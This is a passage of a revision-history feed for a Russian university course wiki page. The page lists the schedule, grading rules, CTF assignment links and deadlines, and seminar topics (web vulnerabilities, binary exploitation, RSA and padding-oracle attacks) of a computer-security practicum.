* [https://drive.google.com/file/d/1QcgUUOuKrBB0zce9Er5OCAPIVTQ5jig5/view?usp=sharing task 6] nc tasks.prak.seclab.cs.msu.ru 16966  (deadline - 20.12.2024 23:59:59)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
* RSA: [https://khashaev.ru/secsem/rsa/#broadcast broadcast], [https://khashaev.ru/secsem/rsa/#common-sense common-sense] (deadline - 20.03.2025 23:53)&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2020)/Задание_на_блочные_шифры|Задание на блочные шифры]] (deadline - 24.03.2024 23:53)&lt;br /&gt;
* Padding oracle: [http://even.tasks.prak.seclab.cs.msu.ru/ even], [http://bleichenbacher.tasks.prak.seclab.cs.msu.ru/ bleichenbacher] (deadline - 03.04.2025 23:59)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (9 сентября 2024) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (16 сентября 2024) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (23 сентября 2024) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (30 сентября 2024) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (7 октября 2024) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (14 октября 2024) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (21 октября 2024) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (28 октября 2024) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
Семинар 9 (25 ноября 2024) [[Бинарные_уязвимости/Переполнение_стека | Бинарные_уязвимости/Переполнение_стека_1]]&lt;br /&gt;
&lt;br /&gt;
Семинар 10 (2 декабря 2024) [[Бинарные_уязвимости/Stack_overflow | Бинарные_уязвимости/Переполнение_стека_2]] [[Бинарные_уязвимости/Off-by-one]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (20 февраля 2025) [[Криптография/Асимметричная криптография на примере RSA]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (27 февраля 2025) [[Криптография/Блочные шифры. Атаки на блочные шифры]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (6 марта 2025) [[Криптография/Атака Padding oracle на RSA]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2024)&amp;diff=894</id>
		<title>Практикум на ЭВМ (2024)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2024)&amp;diff=894"/>
		<updated>2025-03-20T11:32:17Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Криптография и криптоанализ */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 645&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом «Безопасность компьютерных систем», который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара — т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2024/2025 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате CTF-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько «флагов», выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний («_»).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова — возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2023)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 07.10.2024 23:43)&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline - 17.10.2024 23:59)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline - 17.10.2024 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru/ (deadline - 17.10.2024 23:59)&lt;br /&gt;
* http://shop.tasks.prak.seclab.cs.msu.ru/  (deadline - 13.11.2024 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru (deadline - 26.11.2024 23:59)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru (deadline - 26.11.2024 23:59)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [https://drive.google.com/file/d/19qIXrbhGyFUAHY-fG3pTlpse4GLLRgr7/view?usp=sharing task 1] nc 91.214.70.136 16971 (deadline - 17.12.2024 23:59)&lt;br /&gt;
* [https://drive.google.com/file/d/1Mw_BkNZ-QBkbQrRXLtZLkd3FypMdHp-d/view?usp=sharing task 2] nc 91.214.70.136 16972 (deadline - 17.12.2024 23:59)&lt;br /&gt;
* [https://drive.google.com/file/d/1IhG_OD6BDIS4TA_0QXrNxlRqU0xMcV_R/view?usp=sharing task 3] nc 91.214.70.136 16973 (deadline - 17.12.2024 23:59)&lt;br /&gt;
* [https://drive.google.com/file/d/1KF992P4Vt3i_7Hr2O6qPCxb5GOzPBXK8/view?usp=sharing task 4] nc tasks.prak.seclab.cs.msu.ru 16974 (deadline - 17.12.2024 23:59)&lt;br /&gt;
* [[Media:2024-pwn-tasks.zip |task 5]] nc tasks.prak.seclab.cs.msu.ru 16977 (deadline - 20.12.2024 23:59:59)&lt;br /&gt;
* [https://drive.google.com/file/d/1QcgUUOuKrBB0zce9Er5OCAPIVTQ5jig5/view?usp=sharing task 6] nc tasks.prak.seclab.cs.msu.ru 16966  (deadline - 20.12.2024 23:59:59)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
* RSA: [https://khashaev.ru/secsem/rsa/#broadcast broadcast], [https://khashaev.ru/secsem/rsa/#common-sense common-sense] (deadline - 20.03.2025 23:53)&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2020)/Задание_на_блочные_шифры|Задание на блочные шифры]] (deadline - 24.03.2024 23:53)&lt;br /&gt;
* Padding oracle: [http://even.tasks.prak.seclab.cs.msu.ru/ even], [http://bleichenbacher.tasks.prak.seclab.cs.msu.ru/ bleichenbacher] (deadline - 03.04.2025 23:59)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (9 сентября 2024) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (16 сентября 2024) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (23 сентября 2024) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (30 сентября 2024) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (7 октября 2024) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (14 октября 2024) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (21 октября 2024) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (28 октября 2024) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
Семинар 9 (25 ноября 2024) [[Бинарные_уязвимости/Переполнение_стека | Бинарные_уязвимости/Переполнение_стека_1]]&lt;br /&gt;
&lt;br /&gt;
Семинар 10 (2 декабря 2024) [[Бинарные_уязвимости/Stack_overflow | Бинарные_уязвимости/Переполнение_стека_2]] [[Бинарные_уязвимости/Off-by-one]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (20 февраля 2025) [[Криптография/Асимметричная криптография на примере RSA]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (27 февраля 2025) [[Криптография/Блочные шифры. Атаки на блочные шифры]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2024)&amp;diff=878</id>
		<title>Практикум на ЭВМ (2024)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2024)&amp;diff=878"/>
		<updated>2024-10-29T05:55:36Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Материалы */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 645&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом «Безопасность компьютерных систем», который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара — т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2024/2025 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате CTF-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько «флагов», выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний («_»).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова — возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
* &amp;lt;s&amp;gt;[[Практикум_на_ЭВМ_(2023)/Бонусное_задание|Бонусное задание]]&amp;lt;/s&amp;gt;&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 07.10.2024 23:43)&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline - 17.10.2024 23:59)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline - 17.10.2024 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru/ (deadline - 17.10.2024 23:59)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (9 сентября 2024) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (16 сентября 2024) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (23 сентября 2024) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (30 сентября 2024) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (14 октября 2024) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (21 октября 2024) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (28 октября 2024) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=848</id>
		<title>Практикум на ЭВМ (2023)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=848"/>
		<updated>2024-05-16T22:00:09Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Криптография и криптоанализ */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 10:30&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 790 или 71&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом «Безопасность компьютерных систем», который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара — т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2023/2024 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате CTF-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько «флагов», выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний («_»).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова — возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;[[Практикум_на_ЭВМ_(2023)/Бонусное_задание|Бонусное задание]]&amp;lt;/s&amp;gt;&lt;br /&gt;
* &amp;lt;s&amp;gt;http://club.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 17.10.2023 23:43)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://bank.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://corporate.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://pwnitter.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://hard.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 31.10.2023 14:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://jpg.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 31.10.2023 14:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://shop.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt;  (dedline - 23.11.2023 23:59)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[Media:2023 reverse tasks.zip|Задания по реверсу]] (deadline - 16.11.2023 23:59:59.999999 MSK)&lt;br /&gt;
* [[Media:2023 pwn tasks.tar.gz|Задания по бинарной эксплутации]] (deadline - 17.12.2023 23:59:59.999999 MSK)&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Padding oracle: [http://even.tasks.prak.seclab.cs.msu.ru/ even], [http://bleichenbacher.tasks.prak.seclab.cs.msu.ru/ bleichenbacher] (deadline - 01.05.2024 23:59)&lt;br /&gt;
* RSA: [https://khashaev.ru/secsem/rsa/#broadcast broadcast], [https://khashaev.ru/secsem/rsa/#common-sense common-sense] (deadline - 1.04.2024 23:53)&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2020)/Задание_на_блочные_шифры|Задание на блочные шифры]] (deadline - 24.03.2024 23:53)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (11 сентября 2023) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (18 сентября 2023) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (25 сентября 2023) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (2 октября 2023) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (9 октября 2023) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (16 октября 2022) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (23 октября 2020) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (30 октября 2023) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
Семинар 10 (20 ноября 2022) [[Бинарные_уязвимости/Переполнение_стека]]&lt;br /&gt;
&lt;br /&gt;
Семинар 11 (27 ноября 2022) [[Бинарные_уязвимости/ROP]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (22 февраля 2024) [[Криптография/Асимметричная криптография на примере RSA]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (29 февраля 2021) [[Криптография/Блочные шифры. Атаки на блочные шифры]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (14 марта 2021) [[Криптография/Атака Padding oracle на RSA]]&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (4 апреля 2024) [[Сетевая безопасность/Анализ сетевого трафика]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (11 апреля 2024) [[Сетевая безопасность/Сетевой стек и DNS]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=839</id>
		<title>Практикум на ЭВМ (2023)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2023)&amp;diff=839"/>
		<updated>2024-04-10T19:26:08Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Криптография и криптоанализ */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 10:30&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 790 или 71&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом «Безопасность компьютерных систем», который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара — т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2023/2024 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате CTF-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько «флагов», выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний («_»).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова — возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;s&amp;gt;[[Практикум_на_ЭВМ_(2023)/Бонусное_задание|Бонусное задание]]&amp;lt;/s&amp;gt;&lt;br /&gt;
* &amp;lt;s&amp;gt;http://club.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 17.10.2023 23:43)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://bank.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://corporate.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://pwnitter.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt; (deadline - 24.10.2023 23:59)&lt;br /&gt;
